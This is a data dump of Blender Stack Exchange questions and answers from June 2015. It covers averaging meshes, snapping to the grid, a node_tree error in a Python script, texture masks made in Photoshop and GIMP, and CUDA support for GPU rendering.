  <row Id="33178" PostTypeId="1" AcceptedAnswerId="33182" CreationDate="2015-06-29T20:01:30.600" Score="6" ViewCount="1337" Body="&lt;p&gt;Is there already a way in Blender to combine two very similar but necessarily different meshes (with different topologies) such that the result is an average of the two? The process I imagine would be something like aligning the meshes on top of each other, measuring the distance between the surfaces, and creating a vertex at the center of that distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's not already a way, anybody got any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ultimate goal would be to average several similar meshes (like 3D scans) to suppress noise and amplify correct data.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="2217" LastEditDate="2015-07-08T13:43:30.410" LastActivityDate="2015-07-08T13:43:30.410" Title="How can I average two meshes together?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33179" PostTypeId="1" CreationDate="2015-06-29T20:02:29.163" Score="0" ViewCount="372" Body="&lt;p&gt;I have recently installed OpenSUSE after the Windows 10 trial ran out, and I am having trouble editing video with Blender. Everything seems to be working correctly until I try to export the video. as seen in the picture, the only viable video export option is &amp;quot;AVI Raw&amp;quot;. This is not optimal, as I would normally encode in H.264/AAC and export an MPEG. As you can see, neither of those options are available. In fact, there's not even an Encode tab in the Render menu.&lt;/p&gt;&#xA;&lt;p&gt;NOTE: I HAVE tried exporting video as AVI Raw, but neither the video or audio will play in VLC. It plays like a silent audio file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMA5v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Obviously I've missed something, but finding support for the Linux version of Blender AND the video editing portion is proving difficult. Any idea why these options are unavailable?&lt;/p&gt;&#xA;&lt;p&gt;Missing Features:&#xA;H.264 encoding /&#xA;AAC audio /&#xA;MPEG container /&#xA;The Encode tab&lt;/p&gt;&#xA;" OwnerUserId="15311" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-29T20:02:29.163" Title="OpenSUSE - Blender cannot encode or export video" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33180" PostTypeId="5" CreationDate="2015-06-29T20:10:10.117" Score="0" Body="&lt;p&gt;The photogrammetry process uses the slight differences between photographs of the same scene or object to estimate the 3D characteristics of the thing photographed. Keypoints are identified in the supplied images, those keypoints are then compared across the images to identify the same part of a scene in different images. Once the keypoints are matched with each other, measurable effects like parallax, camera position, and silhouetting are used to determine where in 3D space those keypoints exist, resulting in a point cloud. From this point, it's common to estimate a &quot;dense&quot; point cloud from this &quot;sparse&quot; point cloud. The dense point cloud is then often triangulated and then textured from the photographs.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2015-06-29T20:18:37.707" LastActivityDate="2015-06-29T20:18:37.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33181" PostTypeId="4" CreationDate="2015-06-29T20:10:10.117" Score="0" Body="Photogrammetry is a technique for reconstructing point clouds and models from photographs." OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2015-06-29T20:18:42.770" LastActivityDate="2015-06-29T20:18:42.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33182" PostTypeId="2" ParentId="33178" CreationDate="2015-06-29T20:44:11.093" Score="7" Body="&lt;p&gt;Do you have 1-1 vertex correspondence? If so, with both meshes selected, you could try adding one mesh as a shape key on the other.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1OjTm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, move the slider to apply the shape key at 50%:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEJMa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your meshes don't have the same number of vertices, you can use a use a shrinkwrap modifier to warp one mesh onto the other before the shape key. This will make it match the other as closely as possible (consider this 100%). Then, you can apply that shrinkwrap as a shape key and turn the shape key back to 0.5 (consider this %50). Rinse and repeat for additional versions of the mesh.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="1653" LastEditDate="2015-06-29T21:36:38.463" LastActivityDate="2015-06-29T21:36:38.463" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="33183" PostTypeId="1" AcceptedAnswerId="33184" CreationDate="2015-06-29T20:57:47.327" Score="2" ViewCount="1296" Body="&lt;p&gt;I am trying to make my plane exactely the width / height of a grid cell.&#xA;I thought I could do that by clicking &quot;Snap Element&quot;-&gt;&quot;Increment&quot;, but that does not do anything.&#xA;Can anybody tell me what I am doing wrong?&#xA;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vg8GE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="599" LastEditDate="2015-06-29T21:10:47.693" LastActivityDate="2015-06-29T21:10:47.693" Title="Scale plane to size of grid element" Tags="&lt;mesh&gt;&lt;snapping&gt;&lt;units&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33184" PostTypeId="2" ParentId="33183" CreationDate="2015-06-29T21:03:59.333" Score="3" Body="&lt;p&gt;You can snap elements to the nearest grid intersection with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;Snap to Grid&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueKQH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that while in an aligned view (Top, Left, etc.) the subdivision level of the grid to which the mesh snaps will depend on the zoom. In an other view the mesh will snap to the displayed grid size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Snap to Increment&lt;/em&gt; mode of transform snapping will snap to grid &lt;em&gt;increments&lt;/em&gt;. In other words, if your object/vertex is offset from the grid initially then it will stay offset.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By default the grid elements are 1 BU by 1 BU (Blender Unit), and the default plane is 2 BU by 2 BU. So to scale and position it to the grid, you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Scale it down to half it's size (&lt;kbd&gt;S&lt;/kbd&gt; &lt;code&gt;.5&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Move it half a BU on the X (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;.5&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Move it half a BU on the Y (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;.5&lt;/code&gt;):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v2VYh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-29T21:09:57.083" LastActivityDate="2015-06-29T21:09:57.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33185" PostTypeId="1" CreationDate="2015-06-29T21:26:53.937" Score="0" ViewCount="128" Body="&lt;p&gt;I have extruded a floorplan. To stay relatively close to the elements that I need to extrude, I have chosen a certain grid scale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the model size is not what I intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to make the front wall like 6 metres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a relatively easy way to change the mesh size so that the front wall becomes like 6 metres while keeping the grid element size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vKZ3B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-09-28T23:17:13.490" Title="Changing displayed size" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33186" PostTypeId="2" ParentId="33128" CreationDate="2015-06-29T21:36:02.713" Score="1" Body="&lt;p&gt;I looked at these two tutorials: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=MqmXqgbzIxg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=MqmXqgbzIxg&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=mNtIX5BZmzc&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=mNtIX5BZmzc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which allowed the characters to have their full skin map and t-shirt design map to be separate - and no overlap. (Creating UV Maps under &lt;em&gt;Data&lt;/em&gt; with the appropriate mesh selected. Then creating a material and texture - making sure the correct UV map was selected under Mapping. And lastly, &quot;assigning&quot; the material to the piece.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then this &lt;a href=&quot;https://www.youtube.com/watch?v=-GYvjqjYr90&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; allowed me separate UV's that had transparency to render! (Selecting Face Textures and Face Textures Alpha under Materials &gt; Options).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sketchfab.com/models/cf6bf7d8729f479ab0522e73317b29fe&quot; rel=&quot;nofollow&quot;&gt;https://sketchfab.com/models/cf6bf7d8729f479ab0522e73317b29fe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15291" LastEditorUserId="2217" LastEditDate="2015-06-29T22:14:26.417" LastActivityDate="2015-06-29T22:14:26.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33187" PostTypeId="1" CreationDate="2015-06-29T21:57:38.007" Score="0" ViewCount="16" Body="&lt;p&gt;Somehow I have managed to make it so that my model is not lit anymore.&#xA;I have attached a screenshot.&#xA;Can somebody tell me how to make it well-lit again?&#xA;Thank you.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jsKUN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press Z two times, the view is changed, but it is still not correct, I think:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ru0Jk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-06-29T22:04:45.630" LastActivityDate="2015-06-29T22:04:45.630" Title="Light settings are black" Tags="&lt;light&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-06-29T22:23:01.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="33188" PostTypeId="1" AcceptedAnswerId="33213" CreationDate="2015-06-29T22:45:29.473" Score="0" ViewCount="562" Body="&lt;p&gt;I have pressed &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; to create a loop cut which is interrupted at the left side of the front wall. I am not sure why my loop cut stops instead of going all the way round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/swzlh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded a ~.blend file here:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36809&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36809&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="3401" LastEditDate="2015-06-30T08:21:41.543" LastActivityDate="2015-06-30T10:51:53.647" Title="Loop cut interrupted" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-30T08:55:43.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="33189" PostTypeId="1" AcceptedAnswerId="33190" CreationDate="2015-06-29T22:48:31.563" Score="3" ViewCount="1024" Body="&lt;p&gt;I am trying to use blender python script for creating textures in cycles render mode. While executing a script which is to be used to get the nodes, I am getting an attribute error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AttributeErrror: 'NoneType' object has no attribute 'nodes'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I am using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;mat = bpy.data.materials[&quot;Material&quot;]&#xA;&#xA;nodes = mat.node_tree.nodes&#xA;material_output = nodes.get (&quot;Material Output&quot;)&#xA;&#xA;node_texture = nodes.new(type='ShaderNodeTexImage')&#xA;node_texture.image = bpy.data.images.load ('C:\\Users\\KM\\Desktop\\Blender\\auto.png')&#xA;node_texture.projection = &quot;LINEAR&quot;&#xA;&#xA;&#xA;links = mat.node_tree.links&#xA;link = links.new(node_texture.otputs[0], nodes.get(&quot;DIffuse BSDF&quot;),inputs[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is from the line &quot;nodes = mat.node_tree.nodes&quot;. Hope you guys can help clear the doubt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if the question seems trivial, I am very new to blender and Thanks in advance for your help&lt;/p&gt;&#xA;" OwnerUserId="15193" LastActivityDate="2015-06-29T23:11:28.583" Title="Python Script attribute error while using node editor" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33190" PostTypeId="2" ParentId="33189" CreationDate="2015-06-29T23:11:28.583" Score="3" Body="&lt;p&gt;probably this material has been created for the blender render engine (by default nodes are disabled ) so you just have to enable using nodes before accessing the node tree by the following line : &lt;code&gt;mat.use_nodes = True&lt;/code&gt; then you'll have access to the node tree, you can do a test before accessing to avoid getting into errors&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-06-29T23:11:28.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33191" PostTypeId="1" CreationDate="2015-06-29T23:25:13.783" Score="3" ViewCount="4504" Body="&lt;p&gt;Sometimes I find the perfect view by moving the scene with middle mouse button in 3d View. Is there any good way to create a camera based on the actual viewport position, size and rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;0&lt;/kbd&gt; works, but is not even close enough to be a good solution in my case.&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorUserId="3710" LastEditDate="2015-07-30T09:10:57.470" LastActivityDate="2015-07-30T09:10:57.470" Title="How to make camera copy the current 3d view?" Tags="&lt;workflow&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33192" PostTypeId="2" ParentId="33101" CreationDate="2015-06-29T23:27:26.887" Score="10" Body="&lt;p&gt;&lt;strong&gt;&lt;h1&gt;Creating B/W Material Texture Masks in Photoshop (and GIMP)&lt;/h1&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;Black and White (B/W) Texture Masks&lt;/strong&gt; allow you to assign different types of materials to different parts of an object's surface via a &lt;strong&gt;2D Image Texture&lt;/strong&gt;, rather than selecting which faces and vertices of a Mesh you want a specific Material to apply to, and assigning it to them in that way. This gives you the benefit of a &lt;strong&gt;much higher degree of accuracy&lt;/strong&gt; and &lt;strong&gt;customisability&lt;/strong&gt;, which you wouldn't normally have when manually assigning materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways you can do this, such as using &lt;strong&gt;Procedural Noise Textures&lt;/strong&gt; inside of Blender, however for more customisation and for &lt;strong&gt;trickier textures&lt;/strong&gt; I've found that using External software like &lt;strong&gt;Photoshop or GIMP&lt;/strong&gt; to produce the best results in a short amount of time! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially the process we'll be taking here. Starting with the &lt;strong&gt;Original Texture&lt;/strong&gt;, we'll create a &lt;strong&gt;B/W Texture Mask&lt;/strong&gt;, and then use it when adding a basic &lt;strong&gt;Diffuse/Emission Material&lt;/strong&gt; to an object inside of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FK4M9.png&quot; alt=&quot;Process1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Creating a Mask Using Photoshop&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Begin by opening up the base texture in Photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KzV2L.png&quot; alt=&quot;PSD1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Add in 2 New layers above the base texture, for sake of clarity I've called them 'Black Background' and 'White Foreground'. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGIVq.png&quot; alt=&quot;PSD2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Using the &lt;code&gt;Magic Wand&lt;/code&gt; selection tool from the Toolshelf on the right, and with this Base Layer selected (and unlocked), click the area of colour that you want a new material to be assigned to in Blender. In this case we'll select the Orange Lava colour. If the results are not how you want, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to deselect the selection, adjust the &lt;code&gt;Tolerance&lt;/code&gt;, and check &lt;code&gt;Anti-Alias&lt;/code&gt;, before reselecting. This will help Photoshop refine and find all of the orange colour up to the edges of the Lava, and the selection will be smooth and non-jittery. You can also Grow the selection slightly if need be by going &lt;em&gt;Select&lt;/em&gt; &gt; &lt;em&gt;Modify&lt;/em&gt; &gt; &lt;em&gt;Expand&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i62a0.png&quot; alt=&quot;PSD3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; With the marching ant selection still active, select the 'White Foreground' layer, and grab the &lt;code&gt;Brush&lt;/code&gt; tool from the toolshelf. Change the &lt;code&gt;Foreground Colour&lt;/code&gt; to White and paint across the area inside of the ant selection. You shouldn't be able to see any of the Orange colour inside of the selection after painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnSlP.png&quot; alt=&quot;PSD4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; Change the &lt;code&gt;Foreground Colour&lt;/code&gt; to Black and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to deselect the ant selection. Select the 'Black Background' layer and grab the &lt;code&gt;Paint Bucket Tool&lt;/code&gt; from the toolshelf. Use the tool to make this entire layer black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQIDl.png&quot; alt=&quot;PSD5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there you have it, the B/W Texture Mask created in &lt;strong&gt;Photoshop&lt;/strong&gt;. Save it out as a .PNG and you'll be ready to skip down to the Blender section below! :D&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Creating a Mask using GIMP&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The steps in GIMP are essentially the same as in Photoshop, however there are slight differences in some of the tools have different names, and hotkeys are varied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Begin by importing the Base Texture and adding in the 2 Layers above it as we did in Photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9jf3.png&quot; alt=&quot;GIMP1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; With the Base Texture layer selected, grab the &lt;code&gt;Magic Wand&lt;/code&gt; tool, check &lt;code&gt;Antialiasing&lt;/code&gt; and adjust the &lt;code&gt;Threshold&lt;/code&gt; as necessary to so that all of the Orange Lava colour is selected when clicked. Adjusting this process is actually slightly easier in GIMP than Photoshop, as you do not need to deselect the marching ants selection each time, after adjusting the tolerance, you can simply re-click for an instant update! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jvI3H.png&quot; alt=&quot;GIMP2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; With the &lt;code&gt;Foreground Colour&lt;/code&gt; set to white, and the 'White Foreground' layer selected, use the &lt;code&gt;Paintbrush Tool&lt;/code&gt; to fill in the ants selection completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ToVBz.png&quot; alt=&quot;GIMP3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Finally press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to deselect the ant selection. Change the &lt;code&gt;Foreground Colour&lt;/code&gt; to Black and with the 'Black Background Layer' selected, use the &lt;code&gt;Paint Bucket Tool&lt;/code&gt; to fill it with a solid black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fwPv8.png&quot; alt=&quot;GIMP4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there you have the very (far too ;) ) similar way of creating the B/W Texture Mask using GIMP. GIMP's way of saving is a bit more of a hassle than Photoshop's- you have to export it as a .PNG, rather than saving and changing the file type. Go &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Export&lt;/em&gt; to do this! :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Using the Texture Mask to Affect Materials Inside of Blender&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Whichever software you used to get here, you now have the original &lt;strong&gt;Base Texture&lt;/strong&gt;, as well as the &lt;strong&gt;B/W Texture Mask&lt;/strong&gt;. Read on to find out how to use these in Blender... ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Jumping into Blender, for the sake of demonstration, I've set up a simple Sun Lamp and Orthographic Camera scene, and imported the Base Texture by using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Mesh&lt;/em&gt; &gt; &lt;em&gt;Images as Planes&lt;/em&gt;. This will add the Texture into a simple material applied to the plain, with an &lt;code&gt;Image Texture&lt;/code&gt; node plugged into a &lt;code&gt;Diffuse BSDF&lt;/code&gt;. You can preview how this looks in &lt;code&gt;Textured&lt;/code&gt; or &lt;code&gt;Rendered&lt;/code&gt; Viewport Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQ3JY.png&quot; alt=&quot;Blender1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; To begin, we'll mix together the &lt;code&gt;Diffuse BSDF&lt;/code&gt; shader, with an &lt;code&gt;Emission&lt;/code&gt; shader, via a &lt;code&gt;Mix Shader&lt;/code&gt; Node. We can set the Emission &lt;code&gt;Strength&lt;/code&gt; to &lt;code&gt;3.000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HAjQ6.png&quot; alt=&quot;Blender2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Finally, add in another &lt;code&gt;Image Texture&lt;/code&gt; node and open up the B/W Texture Mask. Plug the &lt;code&gt;Colour&lt;/code&gt; output of this node into the &lt;code&gt;Fac&lt;/code&gt; input of the &lt;code&gt;Mix Shader&lt;/code&gt;. This will make all of the &lt;strong&gt;Black Values&lt;/strong&gt; of the Mask correspond to the &lt;strong&gt;Top &lt;code&gt;Mix Shader&lt;/code&gt; Input&lt;/strong&gt;, and the &lt;strong&gt;White Values&lt;/strong&gt; of the Mask correspond to the &lt;strong&gt;Bottom &lt;code&gt;Mix Shader&lt;/code&gt; Input&lt;/strong&gt;. If anything funky happens just add an &lt;code&gt;Invert&lt;/code&gt; node, or flip the top and bottom &lt;code&gt;Mix Shader&lt;/code&gt; inputs! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbVT9.png&quot; alt=&quot;Blender3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And we've reached the &lt;em&gt;conclusion&lt;/em&gt;! A &lt;strong&gt;VERY&lt;/strong&gt; simple end node setup for an insanely useful, and widely applicable process! :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFHfD.png&quot; alt=&quot;Final Result1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hope it helps!! :)&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15132" LastEditorUserId="15132" LastEditDate="2015-06-30T00:53:45.290" LastActivityDate="2015-06-30T00:53:45.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33193" PostTypeId="1" CreationDate="2015-06-30T00:14:14.537" Score="1" ViewCount="830" Body="&lt;p&gt;I'm new to blender and just found out that GPU rendering is way faster than CPU rendering, so I decided download a few drivers that would allow me to render with my GPU. All went well, and I have the option to render with either the GPU or CPU now, but, when I click the render button, a message saying &quot;cuda device supported only with compute compablility 2.0 or up, found 1.1.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I tried changing &quot;feature set&quot; to &quot;experimental,&quot; but still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion as to how I can fix this?&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="1253" LastEditDate="2015-06-30T01:47:10.127" LastActivityDate="2015-07-30T02:36:31.310" Title="How can I render with GPU on iMac 09' NVIDIA GeForce 9400 256 MB?" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33194" PostTypeId="2" ParentId="33193" CreationDate="2015-06-30T00:32:33.540" Score="3" Body="&lt;p&gt;It's difficult to find clear information, but if &lt;a href=&quot;https://en.wikipedia.org/wiki/CUDA&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; is to be believed, the GeForce 9400 is supported by CUDA 1.x, but not 2.x which is what Cycles uses (look for the chart). This would be why it says &quot;found 1.1,&quot; which is what comes with the driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there seem to be rumors in the deep web... whispers of dark magics... that will allow the 9400GT to run some newer versions of CUDA. Of such things... I hope never to be openly spoken in the halls of men.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-06-30T00:32:33.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33195" PostTypeId="2" ParentId="33191" CreationDate="2015-06-30T00:36:36.683" Score="2" Body="&lt;p&gt;Short answer is &quot;no.&quot; &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; is as close as you're going to get. It's not perfect, but it'll get you pretty close. From there, using gandalf3's recommendation to &quot;Lock Camera to View&quot; is probably the best way to refine it from there.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-06-30T00:36:36.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
